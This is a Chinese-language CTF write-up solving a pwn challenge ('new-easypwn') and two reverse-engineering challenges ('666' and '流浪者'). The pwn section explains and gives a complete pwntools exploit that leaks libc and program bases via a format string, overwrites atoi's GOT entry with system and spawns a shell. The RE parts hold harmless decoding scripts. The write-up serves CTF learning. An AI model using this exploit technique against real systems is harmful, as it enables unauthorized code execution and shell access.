PWN
new-easypwn
main函数里看见这个程序实现增删查改的功能

进入ad函数需要输入num,name ,xize ,des四个变量,发现这里的for循环多循环了一次,存在offbyone漏洞,但是不急,继续往下看。

进入md函数发现所有的输入都没有限制长度,而且des_addr就在name的后面不远。所以我们可以通过覆盖来修改des_addr,修改其为一个危险函数的地址,从而进行调用

我们发现在menu函数里,每次都循环调用了一个atoi,我们打算通过md溢出覆盖des_addr为atoi_addr,然后用md的read函数修改atoi的内部为system。
所以我们就需要泄露libc的基地址和程序载入的基地址

在刚进入程序时发现栈中已经存在了一些有偏移的程序地址和libc地址,我们直接利用格式化字符串将其泄露出来,并且计算处所需函数的地址
newnote("%12$p%13$p","0",128, "0"*16)#0
shownote(0)
process__libc = p.recvuntil("name",drop=True)[-29:-1]
process_base = int(process__libc[:14].ljust(8,b'\x00'),16) - 0x12a0#__libc_csu_init
libc__libc_start_main_off = libc.symbols["__libc_start_main"]
leak = libc_base = int(process__libc[14:].ljust(8,b'\x00'),16)
libc_base = int(process__libc[14:].ljust(8,b'\x00'),16) - libc__libc_start_main_off - 240
print('leak:',hex(leak))
print('process_base:',hex(process_base))
print('libc_base:',hex(libc_base))
system = libc_base + libc.sym['system']
print('system:',hex(system))
atoi_got = hello.got['atoi']+process_base
print('atoi_got:',hex(atoi_got))

然后通过溢出修改des_info_addr为atoi_addr,并且修改atoi内部为system
overwrite_name_payload = b"a"*13 + p64(atoi_got)
editnote(0, '0',overwrite_name_payload,p64(system)) #id,num,name,des
p.recvuntil('your choice>>')
p.sendline('/bin/sh')

最后发送/bin/sh即可getshell
#! /usr/bin/python3
from pwn import *
elf = ELF('./hello')
p = process('./hello')
#p = remote("61.147.171.105",53706)
hello = ELF('./hello')
#libc = ELF('./libc-2.23.so')
libc = elf.libc
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'
#context.terminal = ['tmux','sp','-h']
def newnote(number, name,size,des):
p.recvuntil('your choice>>')
p.sendline('1')
p.recvuntil('phone number:')
p.sendline(number)
p.recvuntil('name:')
p.sendline(name)
p.recvuntil('size:')
p.sendline(str(size))
p.recvuntil('des info:')
p.sendline(des)
def shownote(id):
p.recvuntil('your choice>>')
p.sendline('3')
p.recvuntil('index:')
p.sendline(str(id))
def editnote(id,num,name,des):
p.recvuntil('your choice>>')
p.sendline('4')
p.recvuntil('index:')
p.sendline(str(id))
p.recvuntil('number:')
p.sendline(num)
p.recvuntil('name:')
p.sendline(name)
p.recvuntil('des info:')
p.sendline(des)
def deletenote(id):
p.recvuntil('your choice>>')
p.sendline('2')
p.recvuntil('index:')
p.sendline(str(id))
gdb.attach(p)
#pause()# debug 0x2020A0
# leak process base libc base
newnote("%12$p%13$p","0",128, "0"*16)#0
shownote(0)
process__libc = p.recvuntil("name",drop=True)[-29:-1]
process_base = int(process__libc[:14].ljust(8,b'\x00'),16) - 0x12a0#__libc_csu_init
libc__libc_start_main_off = libc.symbols["__libc_start_main"]
leak = libc_base = int(process__libc[14:].ljust(8,b'\x00'),16)
libc_base = int(process__libc[14:].ljust(8,b'\x00'),16) - libc__libc_start_main_off - 240
print('leak:',hex(leak))
print('process_base:',hex(process_base))
print('libc_base:',hex(libc_base))
system = libc_base + libc.sym['system']
print('system:',hex(system))
atoi_got = hello.got['atoi']+process_base
print('atoi_got:',hex(atoi_got))
overwrite_name_payload = b"a"*13 + p64(atoi_got)
editnote(0, '0',overwrite_name_payload,p64(system)) #id,num,name,des
p.recvuntil('your choice>>')
p.sendline('/bin/sh')
p.interactive()
p.interactive()
RE
666
直接进入encode函数发现是个异或,我们只需要再异或一次就可以完成解密了

利用脚本跑出结果
ord : 取ascii码
append : 列表末尾添加元素
enflag = 'izwhroz""w"v.K".Ni'
key = 0x12
v = []
flag = []
for i in range (0,key , 3):
a = (ord(enflag[i]) ^ key) -6
b = (ord(enflag[i+1]) ^ key) +6
c = ord(enflag[i+2]) ^ 6 ^ key
v.append(a)
v.append(b)
v.append(c)
for i in v :
flag += chr(i)
print(flag)
流浪者
根据字符串找到函数验证密码的位置,分析程序可以发现程序逻辑,exp如下:
#include <iostream>
using namespace std;
int main()
{
char password[] = { "KanXueCTF2019JustForhappy" };
char key[] = { "abcdefghiABCDEFGHIJKLMNjklmn0123456789opqrstuvwxyzOPQRSTUVWXYZ" };
//cout << sizeof(password) << endl;
for (int i = 0; i < sizeof(password); i++)
{
for (int j = 0; j < sizeof(key); j++)
{
if (key[j] == password[i])
{
printf("%d ", j);
}
}
}
int pw[] = { 19, 0, 27 ,59, 44, 4, 11, 55, 14, 30, 28, 29, 37, 18, 44, 42, 43, 14, 38, 41, 7, 0 ,39 ,39 ,48, 62 };
int pw2[sizeof(pw)] = {0};
char str[50] = {0};
//57-48 = 9 字符
//97-87 = 10 122-87 = 35
//65-29 = 36 90-29 = 61
int v5[] = { 19, 0, 27 ,59, 44, 4, 11, 55, 14, 30, 28, 29, 37, 18, 44, 42, 43, 14, 38, 41, 7, 0 ,39 ,39 ,48, 62 };
char Str[sizeof(v5)/4] = "";
cout << sizeof(v5) / 4 << endl;
for (int i = 0; i < sizeof(v5)/4; ++i)
{
if (v5[i] + 48 > 57 || v5[i] + 48 < 48) // 非数字
{
if (v5[i] + 87 > 122 || v5[i] + 87 < 97) // 非小写字母
{
if (v5[i] + 29 > 90 || v5[i] + 29 < 65) // 非大写字母
//Str[i] = v5[i] + 29;
;
else
Str[i] = v5[i] + 29; // 大写
}
else
{
Str[i] = v5[i] + 87; // 小写
}
}
else
{
Str[i]= v5[i] + 48; // 是数字
}
}
for (int i = 0; i <sizeof(v5)/4; i++)
{
printf("%c", Str[i]);
}
return 0;
}




